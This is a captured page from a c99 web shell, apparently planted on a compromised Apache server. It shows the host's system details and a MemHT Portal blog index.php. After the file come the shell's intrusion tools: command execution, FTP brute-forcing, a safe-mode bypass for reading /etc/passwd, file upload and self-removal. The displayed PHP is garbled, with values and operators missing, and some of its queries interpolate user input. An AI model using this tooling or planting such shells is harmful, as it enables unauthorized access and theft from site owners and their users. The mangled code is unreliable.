!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/alumni/pages/blog/   drwxr-xr-x
Free 50.97 GB of 127.8 GB (39.88%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     index.php (9.45 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/********************************************************************************
    - MemHT Portal -
    
    Copyright (C) 2007-2008 by Miltenovik Manojlo
    http://www.memht.com
    
    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your opinion) any later version.
    
    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
    GNU General Public License for more details.
    
    You should have received a copy of the GNU General Public License along
    with this program; if not, see <http://www.gnu.org/licenses/> (GPLv2)
    or write to the Free Software Foundation, Inc., 51 Franklin Street,
    Fifth Floor, Boston, MA02110-1301, USA.
        
********************************************************************************/

if (!defined("_LOAD_PAGE_")) {
    die(
"<table style='padding: 2px; border: 1px solid #999; background-color: #EEE; font-family: Verdana; font-size: 10px;' align='center'><tr><td><b>Error:</b> This file cannot be opened directly!</td></tr></table>");
}

//------
//whr: 5
//------

$op = (isset($_GET['op'])) ? inCode($_GET['op']) : "" ;
$title = (isset($_GET['title'])) ? mem_urldecode(inCode($_GET['title'])) : "" ;
$category = (isset($_GET['category'])) ? inCode($_GET['category']) : "" ;
$year = (isset($_GET['year'])) ? intval($_GET['year']) : ;
$month = (isset($_GET['month'])) ? intval($_GET['month']) : ;
$day = (isset($_GET['day'])) ? intval($_GET['day']) : ;
$pg = (isset($_GET['pg'])) ? intval($_GET['pg']) : ;
$pid = (isset($_GET['pid'])) ? intval($_GET['pid']) : ;
$id = (isset($_GET['id'])) ? intval($_GET['id']) : ;
$cid = (isset($_GET['cid'])) ? intval($_GET['cid']) : ;
$ok = (isset($_GET['ok'])) ? inCode($_GET['ok']) : "" ;
$rank = (isset($_GET['rank'])) ? intval($_GET['rank']) : ;

$ofsppg 60//Items per page
$ofsbgn = ($pg*$ofsppg)-$ofsppg;

function 
catList() {
    global 
$dblink,$siteConfig;

    
openTable();
        if (
$result $dblink->get_list("SELECT id,name FROM memht_blog_categories ORDER BY name")) {
            foreach (
$result as $row) {
                
$ida intval($row['id']);
                
$iname outCode($row['name']);
                
                if (
$dblink->get_num("SELECT id FROM memht_blog_posts WHERE category=$ida AND enabled=1")>0) {
                    echo 
"<div><img src='images/bullet_paper.gif' border='0' alt='Bullet'> <a href='index.php?page=blog&cid=$ida&category=".mem_urlencode($iname)."' title='$iname'><b>$iname</b></a></div>\n";
                    
$result $dblink->get_list("SELECT id,title FROM memht_blog_posts WHERE category='$ida' AND enabled=1 LIMIT 20");
                    foreach (
$result as $row) {
                        
$id intval($row['id']);
                        
$title outCode($row['title']);
                        
                        echo 
"<div class='small'>&nbsp;&nbsp;- <a href='index.php?page=blog&id=$id&title=".mem_urlencode($title)."' title='$title'>$title</a></div>\n";
                    }
                    echo 
"<div class='small'>&nbsp;&nbsp;.. <a href='index.php?page=blog&cid=$ida&category=".mem_urlencode($iname)."' title='$iname'><i>"._COMPLETE_LIST_."</i></a></div>\n";
                    echo 
"<br>";
                }
            }
        } else {
            echo 
"<tr><td align='center' id='errorText'><b>"._EMPTY_."</b></td></tr>\n";
        }
    
closeTable();
}

function 
blogMain($id,$cid,$pg,$title,$category,$year,$month,$day) {
    global 
$dblink,$siteConfig,$page,$userid,$tpl;
    
    if (
$id==AND $title=="") {
        
//List of posts
        
$row $dblink->get_row("SELECT numposts FROM memht_blog_configuration");
        
$ofsppg intval($row['numposts']);
        
$ofsbgn = ($pg*$ofsppg)-$ofsppg;
        
        
$query "SELECT b.*,b.date as date_orig,DATE_FORMAT(b.date, '".$siteConfig['timestamp']."') as date,(SELECT ROUND(SUM(vote)/COUNT(id)) AS irank FROM memht_ratings WHERE whr=5 AND wid=b.id) AS rank,c.name FROM memht_blog_posts AS b JOIN memht_blog_categories AS c ON b.category=c.id WHERE b.enabled=1";
        if (
$cid>OR $category!="") {
            
$row $dblink->get_row("SELECT id FROM memht_blog_categories WHERE id=$cid OR name='$category'");
            
$catid intval($row['id']);
            
$query .= " AND b.category=$catid";
        }
        if (
$year>0) { $query .= " AND YEAR(b.date)=$year"; }
        if (
$month>0) { $query .= " AND MONTH(b.date)=$month"; }
        if (
$day>0) { $query .= " AND DAYOFMONTH(b.date)=$day"; }
        
        
$tpl_blog = array();
        if (
$result $dblink->get_list("$query ORDER BY b.id DESC LIMIT $ofsbgn,$ofsppg")) {
            foreach (
$result as $row) {
                
$id intval($row['id']);
                
$title outCode($row['title']);
                
$home_text outCode($row['home_text']);
                
$more = ($row['full_text']=="") ? ;
                
$author outCode($row['author']);
                
$date $row['date'];
                
$hits intval($row['hits']);
                
$usecomments intval($row['usecomments']);
                
$date_orig $row['date_orig'];
                
$rank intval($row['rank']);
                
$ccategory outCode($row['name']);
                
                if (
$usecomments==1) {
                    
$comments $dblink->get_num("SELECT id FROM memht_comments WHERE whr=5 AND wid=$id AND moderate=0");
                } else {
                    
$comments 0;
                }
                
                if (
$result $dblink->get_list("SELECT tag FROM memht_tags WHERE whr=5 AND cid=$id ORDER BY tag")) {
                    
$tags "";
                    foreach (
$result as $row) {
                        
$tags .= "<a href=\"index.php?page=tags&op=list&tag=".mem_urlencode(outCode($row['tag']))."\" title=\"".outCode($row['tag'])."\">".outCode($row['tag'])."</a> ";
                    }
                } else {
                    
$tags "-";
                }
                
                
$cdate explode(" ",$date_orig);
                
$cdate explode("-",$cdate[0]);
                
$cday $cdate[2];
                
$cmonth numToMonth($cdate[1],1);
                
$cyear $cdate[0];
                
                
$tpl_blog[] = array(
                    
"id"=>"$id",
                    
"title"=>"$title",
                    
"content"=>"$home_text",
                    
"more"=>"$more",
                    
"category"=>"$ccategory",
                    
"author"=>"$author",
                    
"date"=>"$date",
                    
"day"=>"$cday",
                    
"month"=>"$cmonth",
                    
"year"=>"$cyear",
                    
"hits"=>"$hits",
                    
"usecomments"=>"$usecomments",
                    
"ncomments"=>"$comments",
                    
"rank"=>"$rank",
                    
"tags"=>"$tags"
                
);
            }
            
$tpl->assign("tpl_blog",$tpl_blog);
            
            
//Pages
            
$path "index.php?page=blog";
            if (
$category!="") { $path .= "&category=$category"; }
            if (
$year>0) { $path .= "&year=$year"; }
            if (
$month>0) { $path .= "&month=$month"; }
            if (
$day>0) { $path .= "&day=$day"; }
            
            include_once(
"inc/class/paginationSystem.class.php");
            
$ps = new paginationSystem();
            
$ps->items $ofsppg;
            
$ps->actpg $pg;
            
$ps->query $query;
            
$ps->url "{$path}&pg={{N}}";
            
$ps->show();
        } else {
            echo 
"<div align='center' id='errorText'><b>"._EMPTY_."</b></div>";
        }
    } else {
        
//Read post
        //-----------------------------------------------
        
$inchits $dblink->query("UPDATE memht_blog_posts SET hits=hits+1 WHERE id=$id OR title='$title'");
    
        
$row $dblink->get_row("SELECT b.*,(SELECT ROUND(SUM(r.vote)/COUNT(r.id)) AS irank FROM memht_ratings AS r WHERE r.whr=5 AND r.wid=b.id) AS rank,DATE_FORMAT(b.date, '".$siteConfig['timestamp']."') as date,b.language AS languageid,l.language AS languagetxt FROM memht_blog_posts AS b LEFT JOIN memht_content_languages AS l ON b.language = l.id WHERE b.id=$id OR b.title='$title'");
        
$id intval($row['id']);
        
$category intval($row['category']);
        
$title outCode($row['title']);
        
$home_text outCode($row['home_text']);
        
$full_text outCode($row['full_text']);
        
$author outCode($row['author']);
        
$date $row['date'];
        
$hits intval($row['hits']);
        
$usecomments intval($row['usecomments']);
        
$enabled intval($row['enabled']);
        
$rank intval($row['rank']);
        
$languageid intval($row['languageid']);
        
$languagetxt outCode($row['languagetxt']);
        
        if (
$languageid==0) { $languagetxt _GLOBAL_; }
        
        
$content = ($full_text!="") ? "$home_text<br><br>$full_text" "$home_text" ;
        
        if (
$row AND ($enabled==OR isAuth($userid,3))) {
            
openTable();
                
//Content head
                
include_once("inc/class/conthead.class.php");
                
$ch = new conthead();
                
$ch->title $title;
                
$ch->cdate $date;
                
$ch->author $author;
                
$ch->hits $hits;
                
$ch->langid $languageid;
                
$ch->langtxt $languagetxt;
                
$ch->prnt_url "pages/blog/print.php?id=$id";
                
$ch->pdf_url "pages/blog/pdf.php?id=$id";
                
$ch->rss_url "rss.php?page=blog&cat=$category";
                
$ch->url $siteConfig['site_url']."/index.php?page=blog&id=$id&title=".mem_urlencode($title);
                
$ch->show();
                
                echo 
"<div style='padding:20px 0; clear:left;'>$content</div>\n";
                
                
//Rating
                
include_once("inc/class/rating.class.php");
                
$rt = new rating();
                
$rt->whr 5;
                
$rt->wid $id;
                
$rt->rank $rank;
                
$rt->show();
                
                
//Tags
                
include_once("inc/class/tags.class.php");
                
$tg = new tags();
                
$tg->whr 5;
                
$tg->wid $id;
                
$tg->show();
            
closeTable();
            
            if (
$siteConfig['usecomments']==AND $usecomments==1) {
                
openTable();
                    
//Comments
                    
include_once("inc/class/comments.class.php");
                    
$cc = new comments();
                    
$cc->whr 5;
                    
$cc->wid $id;
                    
$cc->show();
                
closeTable();
            }
            
        } else {
            
openTable();
                echo 
"<div align='center' id='errorText'><b>"._REQPOSTDONOTEXIST_."</b></div>";
            
closeTable();
        }
        
//-----------------------------------------------
    
}
}

    switch(
$op) {
        default:
            
blogMain($id,$cid,$pg,$title,$category,$year,$month,$day);
        break;
        
        case 
"categories":
            
catList();
        break;
    }

?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0139 ]--